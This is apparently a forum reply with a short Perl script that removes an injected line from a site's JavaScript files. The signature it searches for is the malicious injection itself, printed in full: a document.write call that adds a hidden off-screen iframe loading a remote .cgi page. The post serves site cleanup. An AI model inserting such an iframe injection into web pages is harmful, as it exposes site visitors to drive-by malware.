It is not more complicated than this:

use Modern::Perl;

use File::Find::Rule;
use File::Slurp qw/edit_file_lines/;

my $searchdir = "C:/scripts/corporate";
my $hacker_signature =
q|;document.write('<iframe width="50" height="50" style="width:100px;h
+eight:100px;position:absolute;left:-100px;top:0;" src="http : / / ipx
+lqfn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8">
+</iframe>');|;

my @jsfiles = find( file => name => '*.js' => in => $searchdir );
for my $file (@jsfiles) {
    edit_file_lines
        { $_ = "DELETED HACKED CONTENT\n" if /$hacker_signature/ }
        $file;
}
[download]

Warning: Do not run this on a lifelive server. I expect this script to run rather fast, so you can stop the server before you run this. Downtime will be minimal.

And of course, back-up the files before you start this script.